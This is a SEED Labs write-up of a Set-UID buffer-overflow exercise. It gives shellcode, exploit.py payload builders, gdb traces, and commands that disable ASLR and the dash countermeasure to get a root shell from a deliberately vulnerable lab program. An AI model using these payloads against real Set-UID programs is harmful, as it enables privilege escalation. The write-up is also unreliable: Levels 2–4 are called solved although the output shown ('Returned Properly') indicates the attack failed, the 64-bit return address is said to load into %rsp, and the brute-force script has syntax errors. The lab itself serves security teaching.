SEED Labs 2.0: Buffer-Overflow Attack Lab (Set-UID Version) Writeup

For general overview and the setup package for this lab, please go to SEED Labs official website. The lab assignment was conducted using SEED virtual machine configured on a AWS EC2 instance.

Traditionally, UNIX systems associate with each process some credentials, which bind the process to a specific user and a specific user group.

Name Description
uid, gid User and group real identifiers
euid, egid User and group effective identifiers
fsuid, fsgid User and group effective identifiers for file access
groups Supplementary group identifiers
suid, sgid User and group saved identifiers

Table 1: Traditional process credentials1

A UID of 0 specifiers the superuser (root), while a user group ID of 0 specifies the root group. If a process credential stores a value of 0, the kernel bypasses the permission checks and allows the privileged process to perform various actions, such as those referring to system administration or hardware manipulation, that are not possible to unprivileged processes. When the process executes a set-uid program — that is, an executable file whose setuid flag is on — the euid and fsuid fields are set to the identifier of the file’s owner. UNIX’s long history teaches the lession that setuid programs are quite dangerous: malicious users could triggers some programming errors (bugs) in the code to force setuid programs to perform operations that were never planned by the program’s original designers.

Table of Contents

Environment Setup

Ubuntu and several other Linux-based systems uses address space randomization to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult. This feature can be disabled using the following command:

$ sudo sysctl -w kernel.randomize_va_space=0

The dash program, as well as bash, has implemented a security countermeasure that prevents itself from being executed in a Set-UID process2. Basically, if they detect that they are executed in a Set-UID process, they will immediately change the effective user ID to the process’s real user ID, essentially dropping the privilege. The following command can be used to link /bin/sh to zsh which does not have such a countermeasure:

$ sudo ln -sf /bin/zsh /bin/sh

Task 1: Getting Familiar with Shellcode

The following C program executes a shell program (/bin/sh) using the execve() system call:

#include <stddef.h>
void main()
{
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}

A naive thought is to compile the above code into binary, and then save it to the input file, e.g., badfile. Then we set the targeted return address field to the address of the main() function, so when the vulnerable program returns, it jumps to the entrance of the above code. Unfortunately, this does not work for several reasons:

Invoking the shellcode

/* call_shellcode.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

// Binary code for setuid(0) 
// 64-bit:  "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05"
// 32-bit:  "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"


const char shellcode[] =
#if __x86_64__
  "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
  "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
  "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
#else
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
#endif
;

int main(int argc, char **argv)
{
   char code[500];

   strcpy(code, shellcode);
   int (*func)() = (int(*)())code;

   func();
   return 1;
}

Compile and the run the call_shellcode.c program:

~/Documents/BufferSetUID/shellcode$ make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
~/Documents/BufferSetUID/shellcode$ ./a32.out
$ echo -ne 'Don't go gentle into that good night/'
> .!?'
Dont go gentle into that good night/
.!?%
$ exit
~/Documents/BufferSetUID/shellcode$ ./a64.out
$ echo -ne 'Oh Danny Boy the pipes the pipes are calling.'
Oh Danny Boy the pipes the pipes are calling.%

Task 2: Understanding the Vulnerable Program

The stack.c program shown below reads $517$ bytes of data from a file called “badfile”, and then copies the data to a buffer of size $100$:

/* stack.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack.
 * Instructors can change this value each year, so students
 * won't be able to use the solutions from the past.
 */
#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif

void dummy_function(char *str);

int bof(char *str)
{
    char buffer[BUF_SIZE];

    // The following statement has a buffer overflow problem 
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    if (!badfile) {
       perror("Opening badfile"); exit(1);
    }

    int length = fread(str, sizeof(char), 517, badfile);
    printf("Input size: %d\n", length);
    dummy_function(str);
    fprintf(stdout, "==== Returned Properly ====\n");
    return 1;
}

// This function is used to insert a stack frame of size 
// 1000 (approximately) between main's and bof's stack frames. 
// The function itself does not do anything. 
void dummy_function(char *str)
{
    char dummy_buffer[1000];
    memset(dummy_buffer, 0, 1000);
    bof(str);
}

Compile and run stack.c:

~/Documents/BufferSetUID/code$ make
gcc -DBUF_SIZE=100 -z execstack -fno-stack-protector -m32 -o stack-L1 stack.c
gcc -DBUF_SIZE=100 -z execstack -fno-stack-protector -m32 -g -o stack-L1-dbg stack.c
sudo chown root stack-L1 && sudo chmod 4755 stack-L1
gcc -DBUF_SIZE=160 -z execstack -fno-stack-protector -m32 -o stack-L2 stack.c
gcc -DBUF_SIZE=160 -z execstack -fno-stack-protector -m32 -g -o stack-L2-dbg stack.c
sudo chown root stack-L2 && sudo chmod 4755 stack-L2
gcc -DBUF_SIZE=200 -z execstack -fno-stack-protector -m32 -o stack-L3 stack.c
gcc -DBUF_SIZE=200 -z execstack -fno-stack-protector -m32 -g -o stack-L3-dbg stack.c
sudo chown root stack-L3 && sudo chmod 4755 stack-L3
gcc -DBUF_SIZE=10 -z execstack -fno-stack-protector -m32 -o stack-L4 stack.c
gcc -DBUF_SIZE=10 -z execstack -fno-stack-protector -m32 -g -o stack-L4-dbg stack.c
sudo chown root stack-L4 && sudo chmod 4755 stack-L4
~/Documents/BufferSetUID/code$ ls
Makefile        stack-L1        stack-L2-dbg    stack-L4
brute-force.sh  stack-L1-dbg    stack-L3        stack-L4-dbg
exploit.py      stack-L2        stack-L3-dbg    stack.c

Task 3: Launching Attack on $32$-bit Program (Level 1)

Investigation

~/Documents/BufferSetUID/code$ touch badfile
~/Documents/BufferSetUID/code$ gdb stack-L1-dbg
gdb-peda$ break bof
Breakpoint 1 at 0x12ad: file stack.c, line 16.
gdb-peda$ run
Starting program: /home/seed/Documents/BufferSetUID/code/stack-L1-dbg
Input size: 0
[----------------------------------registers-----------------------------------]
EAX: 0xffffcdb8 --> 0x0 
EBX: 0x56558fb8 --> 0x3ec0 
ECX: 0x60 ('`')
EDX: 0xffffd1a0 --> 0xf7fb5000 --> 0x1e6d6c 
ESI: 0xf7fb5000 --> 0x1e6d6c 
EDI: 0xf7fb5000 --> 0x1e6d6c 
EBP: 0xffffd1a8 --> 0xffffd3d8 --> 0x0 
ESP: 0xffffcd9c --> 0x565563ee (<dummy_function+62>:	add    esp,0x10)
EIP: 0x565562ad (<bof>:	endbr32)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x565562a4 <frame_dummy+4>:	jmp    0x56556200 <register_tm_clones>
   0x565562a9 <__x86.get_pc_thunk.dx>:	mov    edx,DWORD PTR [esp]
   0x565562ac <__x86.get_pc_thunk.dx+3>:	ret    
=> 0x565562ad <bof>:	endbr32 
   0x565562b1 <bof+4>:	push   ebp
   0x565562b2 <bof+5>:	mov    ebp,esp
   0x565562b4 <bof+7>:	push   ebx
   0x565562b5 <bof+8>:	sub    esp,0x74
[------------------------------------stack-------------------------------------]
0000| 0xffffcd9c --> 0x565563ee (<dummy_function+62>:	add    esp,0x10)
0004| 0xffffcda0 --> 0xffffd1c3 --> 0x456 
0008| 0xffffcda4 --> 0x0 
0012| 0xffffcda8 --> 0x3e8 
0016| 0xffffcdac --> 0x565563c3 (<dummy_function+19>:	add    eax,0x2bf5)
0020| 0xffffcdb0 --> 0x0 
0024| 0xffffcdb4 --> 0x0 
0028| 0xffffcdb8 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, bof (str=0xffffd1c3 "V\004") at stack.c:16
16	{

When gdb stops inside the bof function, it stops before the %ebp register is set to point to the current stack frame, so if we print out the value of $ebp here, we will get the caller’s $ebp value. We need to use the next command3 to execute a few instructions and stop after the %ebp register is modified to point to the stack frame of the bof function.

gdb-peda$ next
[----------------------------------registers-----------------------------------]
EAX: 0x56558fb8 --> 0x3ec0 
EBX: 0x56558fb8 --> 0x3ec0 
ECX: 0x60 ('`')
EDX: 0xffffd1a0 --> 0xf7fb5000 --> 0x1e6d6c 
ESI: 0xf7fb5000 --> 0x1e6d6c 
EDI: 0xf7fb5000 --> 0x1e6d6c 
EBP: 0xffffcd98 --> 0xffffd1a8 --> 0xffffd3d8 --> 0x0 
ESP: 0xffffcd20 ("1pUV\264\321\377\377\220\325\377\367\340\263\374", <incomplete sequence \367>)
EIP: 0x565562c2 (<bof+21>:	sub    esp,0x8)
EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x565562b5 <bof+8>:	sub    esp,0x74
   0x565562b8 <bof+11>:	call   0x565563f7 <__x86.get_pc_thunk.ax>
   0x565562bd <bof+16>:	add    eax,0x2cfb
=> 0x565562c2 <bof+21>:	sub    esp,0x8
   0x565562c5 <bof+24>:	push   DWORD PTR [ebp+0x8]
   0x565562c8 <bof+27>:	lea    edx,[ebp-0x6c]
   0x565562cb <bof+30>:	push   edx
   0x565562cc <bof+31>:	mov    ebx,eax
[------------------------------------stack-------------------------------------]
0000| 0xffffcd20 ("1pUV\264\321\377\377\220\325\377\367\340\263\374", <incomplete sequence \367>)
0004| 0xffffcd24 --> 0xffffd1b4 --> 0x0 
0008| 0xffffcd28 --> 0xf7ffd590 --> 0xf7fd1000 --> 0x464c457f 
0012| 0xffffcd2c --> 0xf7fcb3e0 --> 0xf7ffd990 --> 0x56555000 --> 0x464c457f 
0016| 0xffffcd30 --> 0x0 
0020| 0xffffcd34 --> 0x0 
0024| 0xffffcd38 --> 0x0 
0028| 0xffffcd3c --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
20	    strcpy(buffer, str);

Print out $ebp and the buffer’s address:

gdb-peda$ p $ebp
$1 = (void *) 0xffffcd98
gdb-peda$ p &buffer
$2 = (char (*)[100]) 0xffffcd2c

Launching attacks

Since the value of the stack frame pointer is 0xffffcd98, the return address is stored in 0xffffcd98 + 4; the first address that we can jump to is 0xffffcd98 + 8, which can be put inside the return address field. The distance between the address of the %ebp register (0xffffcd98) and the buffer (0xffffcd2c) is 0x6c, which is $108$ in decimal notation. Therefore, the distance between the buffer’s starting point and the return address field is $112$.

To generate the “badfile” using exploit.py, an array of size $517$ bytes is created and filled with 0x90 (the NOP instruction). Since gdb may push some additional data onto the stack at the beginning, causing the stack frame to be allocated deeper than it would be when the program executes directly, the first address that we can jump to may be higher than $ebp + 8. Here I choose $ebp + 120. The return address field starts from offset $112$ and ends at offset $116$ (not including $116$), i.e., content[112:116]. The x86 architecture uses the little-endian order, so in Python, when putting a $4$-byte address into the memory, byteorder='little' is used to specify the byte order.

At the end of the “badfile”, a bunch of shellcode is included, the aim of which is to use the execve() system call to run /bin/sh. The corresponding program is presented in Task 1. Registers %eax, %ebx, %ecx, %edx should be configured correctly. A system call is executed using the instruction int $0x80.

"\x31\xc0"      # xorl  %eax, %eax
"\x50"          # pushl %eax
"\x68""//sh"    # pushl $0x68732f2f
"\x68""/bin"    # pushl $0x6e69622f
"\x89\xe3"      # movl  %esp, %ebx
"\x50"          # pushl %eax
"\x53"          # pushl %ebx
"\x89\xe1"      # movl  %esp, %ecx
"\x99"          # cdq
"\xb0\x0b"      # movb  $0x0b, %al
"\xcd\x80"      # int   $0x80

The modified exploit.py program is listed below:

#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
  "\x31\xc0"
  "\x50"
  "\x68""//sh"
  "\x68""/bin"
  "\x89\xe3"
  "\x50"
  "\x53"
  "\x89\xe1"
  "\x99"
  "\xb0\x0b"
  "\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode)               # Change this number 
content[start:start + len(shellcode)] = shellcode

# Decide the return address value 
# and put it somewhere in the payload
ret    = 0xffffcd98 + 120           # Change this number 
offset = 112              # Change this number 

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)

Run stack-L1:

~/Documents/BufferSetUID/code$ ./stack-L1
Input size: 517
# id
uid=1001(seed) gid=1001(seed) euid=0(root) groups=1001(seed),120(docker)
#

Root shell is obtained!

Task 4: Launching Attack without Knowing Buffer Size (Level 2)

Before comming up with a solution, I created a $1024$-byte random pattern and run in gdb:

gdb-peda$ pattern create 1024 pat-L2
Writing pattern of 1024 chars to filename "pat-L2"
gdb-peda$ run $(cat pat-L2)
Starting program: /home/seed/Documents/BufferSetUID/code/stack-L2-dbg $(cat pat-L2)
Input size: 517

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0x90909090 
ECX: 0xffffcff0 --> 0x90909090 
EDX: 0xffffcb1d --> 0x90909090 
ESI: 0xf7faa000 --> 0x1e6d6c 
EDI: 0xf7faa000 --> 0x1e6d6c 
EBP: 0x90909090 
ESP: 0xffffc9d0 --> 0x90909090 
EIP: 0x90909090
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x90909090
[------------------------------------stack-------------------------------------]
0000| 0xffffc9d0 --> 0x90909090 
0004| 0xffffc9d4 --> 0x90909090 
0008| 0xffffc9d8 --> 0x90909090 
0012| 0xffffc9dc --> 0x90909090 
0016| 0xffffc9e0 --> 0x90909090 
0020| 0xffffc9e4 --> 0x90909090 
0024| 0xffffc9e8 --> 0x90909090 
0028| 0xffffc9ec --> 0x90909090 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x90909090 in ?? ()

This is what I got from x/200x $esp:

0xffffca80:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffca90:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffcaa0:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffcab0:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffcac0:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffcad0:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffcae0:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffcaf0:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffcb00:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffcb10:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffcb20:     0x90909090      0x00020590      0x00000000      0x00000000
0xffffcb30:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcb40:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcb50:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcb60:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcb70:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcb80:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcb90:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcba0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcbb0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcbc0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcbd0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcbe0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcbf0:     0x00000000      0x00000000      0x00000000      0x00000000

Obtain the address of the buffer:

gdb-peda$ x $ebp
0xffffcdc8:     0xffffd1d8
gdb-peda$ p/d 0xffffd1d8 - 0xffffcdc8
$1 = 1040
gdb-peda$ x $esp
0xffffcd20:     0
gdb-peda$ x $eip
0x565562c5 <bof+24>:    -16192381
gdb-peda$ x &buffer
0xffffcd20:     0

The spraying approach puts all the possible locations of return address into the badfile, instead of one location. Since we know that the range of the buffer size is from $100$ to $200$ bytes, the actual distance between the return address field and the beginning of the buffer will be at most $200$ plus some small value; I use $220$ here. If the first $220$ bytes of the buffer (from 0xffffcd20 to 0xffffcd20 + 220) are all sprayed with the return address, it can be assured that one of them will overwrite the actual return address field.

The modified exploit.py program is presented below:

#!/usr/bin/python3
import sys

shellcode= (
  "\x31\xc0"
  "\x50"
  "\x68""//sh"
  "\x68""/bin"
  "\x89\xe3"
  "\x50"
  "\x53"
  "\x89\xe1"
  "\x99"
  "\xb0\x0b"
  "\xcd\x80"
).encode('latin-1')
content = bytearray(0x90 for i in range(517))

start = 517 - len(shellcode)
content[start:start + len(shellcode)] = shellcode

ret    = 0xffffcd24 + 220
L = 4
addr = (ret).to_bytes(L, byteorder='little')
content[0 : 219] = addr * 55

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)

Just as expected, level 2 is solved:

~/Documents/BufferSetUID/code$ vim exploit.py
~/Documents/BufferSetUID/code$ ./exploit.py
~/Documents/BufferSetUID/code$ ./stack-L2
Input size: 517
==== Returned Properly ====

Task 5: Launching Attack on $64$-bit Program (Level 3)

Although the x86-64 architecture supports $64$-bit address space, only the address from 0x00 through 0x00007fffffffffff is allowed. That means for every address ($8$ bytes), the highest two bytes are always zeros. More specifically, in a typical $48$-bit implementation, canonical address refers to one in the range 0x00 through 0x00007fffffffffff and 0xffff800000000000 through 0xffffffffffffffff. Any address outside this range is non-canonical. In our buffer-overflow attacks, we need to store at least one address in the payload, and the payload will be copied onto the stack via strcpy(), which will stop copying when it sees a zero. Therefore, if zero appears in the middle of the payload, the content after the zero cannot be copied onto the stack. How to solve this problem is the most difficult challenge in this attack.

First, I modified the exploit.py in the way that a badfile filled with $1000$ A’s was generated:

content = b"A" * 1000

We can observe in the gdb view that the vulnerability exists:

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x1 
RBX: 0x555555555360 (<__libc_csu_init>: endbr64) 
RCX: 0x414141 ('AAA') 
RDX: 0x5 
RSI: 0x7fffffffe240 --> 0x4141414141 ('AAAAA')
RDI: 0x7fffffffdd40 --> 0x4141414141 ('AAAAA')
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffdc18 ('A' <repeats 200 times>...)
RIP: 0x55555555525e (<bof+53>:  ret)
R8 : 0x0
R9 : 0x10
R10: 0x55555555602c --> 0x52203d3d3d3d000a ('\n')
R11: 0x246
R12: 0x555555555140 (<_start>:  endbr64)
R13: 0x7fffffffe350 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]

However, %rip was not overwritten with A’s, since it did not load a non-canonical address:

Stopped reason: SIGSEGV
0x000055555555525e in bof (str=0x7fffffffe040 'A' <repeats 200 times>...)
    at stack.c:23
23	}
gdb-peda$ p $rip
$1 = (void (*)()) 0x55555555525e <bof+53>
gdb-peda$ x $rip
0x55555555525e <bof+53>:	"\303\363\017\036\372UH\211\345H\201\354\060\002"
gdb-peda$ x $rbp
0x4141414141414141:	<error: Cannot access memory at address 0x4141414141414141>

If we set a breakpoint at the start of the bof function and run again, we get:

Breakpoint 1, bof (str=0x2 <error: Cannot access memory at address 0x2>)
    at stack.c:16
16	{
gdb-peda$ x $rsp
0x7fffffffdc18:	0x000055555555535c
gdb-peda$ x $rbp
0x7fffffffe020:	0x00007fffffffe260

Ater typing next, we get:

20	    strcpy(buffer, str);       
gdb-peda$ x $rsp
0x7fffffffdb30:	0x00007fffffffdac0
gdb-peda$ x $rbp
0x7fffffffdc10:	0x00007fffffffe020

To better understand the stack frame layout in x86-64 architecture, I went through AMD64 ABI 1.0 published on December 22, 2018 and found something really helpful:

Each function has a frame on the run-time stack. This stack grows downwards from high addresses … The value %rsp + 8 is always a multiple of $16$ ($32$ or $64$) when control is transferred to the function entry point. The stack pointer, %rsp, always points to the end of the latest allocated stack frame. The $128$-byte area beyond the location pointed to by %rsp is considered to be reserved and shall not be modified by signal or interrupt handlers. Therefore, functions may use this area for temporary data that is not needed across function calls. In particular, leaf functions may use this area for their entire stack frame, rather than adjusting the stack pointer in the prologue and epilogue. This area is known as the red zone … After the argument values have been computed, they are placed either in registers or pushed on the stack … The size of each argument gets rounded up to eight bytes (therefore the stack will always be eight-byte aligned).

It should be noted that the first six arguments are not pushed on the stack but stored in registers on a $64$-bit architecture whereas in a $32$-bit architecture all the function arguments are pushed on the stack. To conclude, the latest allocated stack frame from low to high addresses is arranged as follows: $128$-byte red zone, register %rsp, local variables, register %rbp, saved return address (which is the value in register %rip), parameters. Whenever a function returns, the “saved return address” is popped from the stack and loaded in register %rsp and execution continues from that address.

The offset can be found by:

gdb-peda$ p/x (unsigned long long) $rsp - (unsigned long long) &buffer
$1 = 0xd8

Then, exploit.py can be modified as:

content = bytearray(0x90 for i in range(517))

start = 517 - len(shellcode)
content[start:start + len(shellcode)] = shellcode

ret    = 0x7fffffffdb40 + 220
L = 8
addr = (ret).to_bytes(L,byteorder='little')
content[0:0xd7] = addr * 27

with open('badfile', 'wb') as f:
  f.write(content)

As a result, level 3 is solved:

~/Documents/BufferSetUID/code$ vim exploit.py
~/Documents/BufferSetUID/code$ ./exploit.py
~/Documents/BufferSetUID/code$ ./stack-L3
Input size: 517
==== Returned Properly ====

Task 6: Launching Attack on $64$-bit Program (Level 4)

Using the similar technique as in Level 2, I deployed the following exploit.py file:

content = bytearray(0x90 for i in range(517))

start = 517 - len(shellcode)
content[start:start + len(shellcode)] = shellcode

ret    = 0xffffe258 + 120 
L = 8
addr = (ret).to_bytes(L, byteorder='little')
content[0 : 15] = addr * 2

with open('badfile', 'wb') as f:
  f.write(content)

Note that L is switched to $8$ and the designated return address will be taking $16$ bytes (i.e., the size of two words), considering that the buffer size is $10$.

As a result, level 4 is solved:

~/Documents/BufferSetUID/code$ vim exploit.py
~/Documents/BufferSetUID/code$ ./exploit.py
~/Documents/BufferSetUID/code$ ./stack-L4
Input size: 517
==== Returned Properly ====

Task 7: Defeating dash’s Countermeasure

To begin with, let /bin/sh point back to /bin/dash:

$ sudo ln -sf /bin/dash /bin/sh

Compile and run call_shellcode.c with the setuid() system call:

~Documents/BufferSetUID/shellcode$ make setuid
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
sudo chown root a32.out a64.out
sudo chmod 4755 a32.out a64.out
~Documents/BufferSetUID/shellcode$ ./a32.out
# id
uid=0(root) gid=1001(seed) groups=1001(seed),120(docker)
# echo On the Bonnie Bonnie Banks of Loch Lomond
On the Bonnie Bonnie Banks of Loch Lomond
# exit
~Documents/BufferSetUID/shellcode$ ./a64.out
# id
uid=0(root) gid=1001(seed) groups=1001(seed),120(docker)
# whoami
root
# exit

Without the setuid() system call:

~Documents/BufferSetUID/shellcode$ gcc -z execstack -o call_shellcode call_shellcode.c
~Documents/BufferSetUID/shellcode$ ./call_shellcode
$ whoami
seed
$ echo On the Bonnie Bonnie Banks of Loch Lomond
On the Bonnie Bonnie Banks of Loch Lomond
$ exit
~Documents/BufferSetUID/shellcode$ ./a32.out
$ whoami
seed
$ echo On the steep steep side of Ben Lomond
On the steep steep side of Ben Lomond
$ exit
~Documents/BufferSetUID/shellcode$ ./a64.out
$ whoami
seed
$ echo Ye'll take the high road and I'll take the low road
Yell take the high road and Ill take the low road
$ exit

We can tell according to the different results from the whoami command that with the setuid() system call real UID is changed to zero and the program is owned by root.

Based on this knowledge, to redo Task 3, I modified the shellcode block of exploit.py:

!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
  "\x31\xc0"
  "\x31\xdb"
  "\xb0\xd5"
  "\xcd\x80"
  "\x31\xc0"
  "\x50"
  "\x68""//sh"
  "\x68""/bin"
  "\x89\xe3"
  "\x50"
  "\x53"
  "\x89\xe1"
  "\x99"
  "\xb0\x0b"
  "\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode)               # Change this number 
content[start:start + len(shellcode)] = shellcode

# Decide the return address value 
# and put it somewhere in the payload
ret    = 0xffffcdc8 + 120          # Change this number 
offset = 112              # Change this number 

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L, byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)

Running this code is able to get the root shell:

~/Documents/BufferSetUID/code$ vim exploit.py
~/Documents/BufferSetUID/code$ ./exploit.py
~/Documents/BufferSetUID/code$ ./stack-L1
Input size: 517
# id
uid=0(root) gid=1001(seed) groups=1001(seed),120(docker)

Task 8: Defeating Address Randomization

By resetting the environment

$ sudo /sbin/sysctl -w kernel.randomize_va_space=2

address space including the positions of the stack, virtual dynamic shared object page, shared memory regions, and data segments is randomized, which is the most secure system setting.

Use the following shell script to brute-force the attack:

#!/bin/bash
SECONDS=0
value=0
while true; do
    value=$(( $value + 1 ))
    duration=$SECONDS
    min = $(( $duration / 60 ))
    sec = $(( $duration % 60 ))
    echo "$min minutes and $sec seconds elapsed."
    echo "The program has been running $value times so far."
    ./stack-L1
done

Notes

  1. From Daniel P. Bovet and Marco Cesati, Understanding the Linux Kernel, Third Edition, O’Reilly, 2006. 

  2. A privileged program is one that can give users extra privileges beyond that are already assigned to them. A Set-Root-UID program is a privileged program because it allows users to gain the root privilege during the execution of the programs. For Set-UID programs in UNIX and UNIX-like operating systems, which stands for set user ID on execution, the effective uid is the owner of the program, while the real uid is the user of the program. Windows does not have the notion of Set-UID. A different mechanism is used for implementing privileged functionality. A developer would write a privileged program as a service and the user sends the command line arguments to the service using Local Procedure Call. 

  3. Continue to the next source line in the current (innermost) stack frame. This is similar to step, but function calls that appear within the line of code are executed without stopping. Execution stops when control reaches a different line of code at the original stack level that was executing when you gave the next command.